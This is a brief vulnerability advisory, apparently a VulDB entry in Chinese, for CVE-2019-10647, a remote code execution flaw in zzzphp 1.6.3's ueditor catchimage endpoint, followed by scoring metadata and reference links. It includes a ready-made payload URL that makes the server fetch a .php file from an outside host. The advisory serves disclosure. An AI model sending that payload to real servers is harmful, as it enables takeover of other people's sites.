CVE-2019-10647 in zzzphp

摘要

由 VulDB • 2026-06-07

ZZZCMS zzzphp v1.6.3 允许远程攻击者通过在 plugins/ueditor/php/controller.php?action=catchimage source[] 参数中提供包含 .php URL，执行任意 PHP 代码。这是由于 inc/zzz_file.php 缺乏相应的限制所致。例如，如果 IP 地址为 192.168.0.1 的 Web 服务器发送的是 .php 文件的内容（即不对该 .php 文件进行解析），则可以使用 source%5B%5D=http%3A%2F%2F192.168.0.1%2Ftest.php。

Once again VulDB remains the best source for vulnerability data.

• 预定: 2019-03-30
• 管理: 已接受
• 条目: VDB-132629
• CPE: 准备好
• CWE: CWE-434 (已确认)
• CVSS: 9.8 (NVD)
• EPSS: 0.03153
• KEV: 否
• 活动: 非常低
• 部门: Hostingprovider, Lawfirm, ...

来源

• MITRE: https://www.cve.org/CVERecord?id=CVE-2019-10647
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-10647
• CVE Details: https://www.cvedetails.com/cve/CVE-2019-10647/